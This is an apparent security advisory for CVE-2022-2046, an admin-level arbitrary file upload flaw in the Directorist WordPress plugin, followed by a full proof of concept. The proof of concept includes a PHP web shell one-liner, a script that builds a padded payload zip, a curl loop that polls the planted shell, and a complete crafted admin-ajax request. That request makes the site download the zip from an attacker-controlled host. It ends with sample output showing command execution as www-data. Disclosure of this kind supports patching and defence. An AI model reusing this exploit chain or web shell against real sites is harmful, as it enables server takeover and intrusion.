Directorist – Business Directory Plugin < 7.2.3 – Admin+ Arbitrary File Upload | CVE 2022-2046

Description

The plugin allows administrators to download other plugins from the same vendor directly to the site, but does not check the URL domain it gets the zip files from. This could allow administrators to run code on the server, which is a problem in multisite configurations.

Proof of Concept

1. Craft a custom zip file
-------bash
echo "<?php echo shell_exec($_REQUEST['c']); ?>" > dummy_shell.php

for i in `seq 1 10000`; do 
    echo $RANDOM | md5sum | head -c 30 > "dummy_$i.txt"
done

zip -qqr "payload.zip" dummy_*
-------bash

2. Create a bash script that will try to hit the shell on a while loop
-------bash
#!/bin/sh

while true; do
    code=$(curl -s -w "%{http_code}" -o result "http://<wp_site>/wp-content/plugins/atbdp-temp-dir/dummy_shell.php?c=id")
    if [ $code -eq 200 ]; then
	echo ""
	echo "RCE sucess"
        cat result
        break
    fi
    echo -n "."
done
-------bash

3. Execute the bash script on step 2 

4. Login as WP admin and send this crafted HTTP request
-------httprequest
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost
Content-Length: 750
sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="101"
Accept: */*
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary221I9lesLluZJPEm
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.67 Safari/537.36
sec-ch-ua-platform: "Linux"
Origin: http://localhost
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost/wp-admin/edit.php?post_type=at_biz_dir&page=tools&step=2&file=%2Fsrv%2Fwww%2Fwordpress%2Fwp-content%2Fuploads%2F2022%2F05%2Flistings-export-data.txt&delimiter=%2C
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: [Replace with Admin+ cookie]
Connection: close

------WebKitFormBoundary221I9lesLluZJPEm
Content-Disposition: form-data; name="action"

atbdp_download_file
------WebKitFormBoundary221I9lesLluZJPEm
Content-Disposition: form-data; name="download_item[download_link]"

https://<attacker_site>/payload.zip
------WebKitFormBoundary221I9lesLluZJPEm
Content-Disposition: form-data; name="download_item[skip_licencing]"

true
------WebKitFormBoundary221I9lesLluZJPEm
Content-Disposition: form-data; name="download_item[permalink]"

true
------WebKitFormBoundary221I9lesLluZJPEm
Content-Disposition: form-data; name="nonce"

< as admin, go to http://<wp_domain>/wp-admin/edit.php?post_type=at_biz_dir and search string 'atbdp_admin_data = {"nonce":' and get the nonce value after the searched string>
------WebKitFormBoundary221I9lesLluZJPEm
Content-Disposition: form-data; name="type"

plugin
------WebKitFormBoundary221I9lesLluZJPEm--

-------httprequest

5. We will see the output from the bash script that we executed earlier will output the "id" command result from the targeted WP site . Example :
..................................................................
RCE sucess
uid=33(www-data) gid=33(www-data) groups=33(www-data)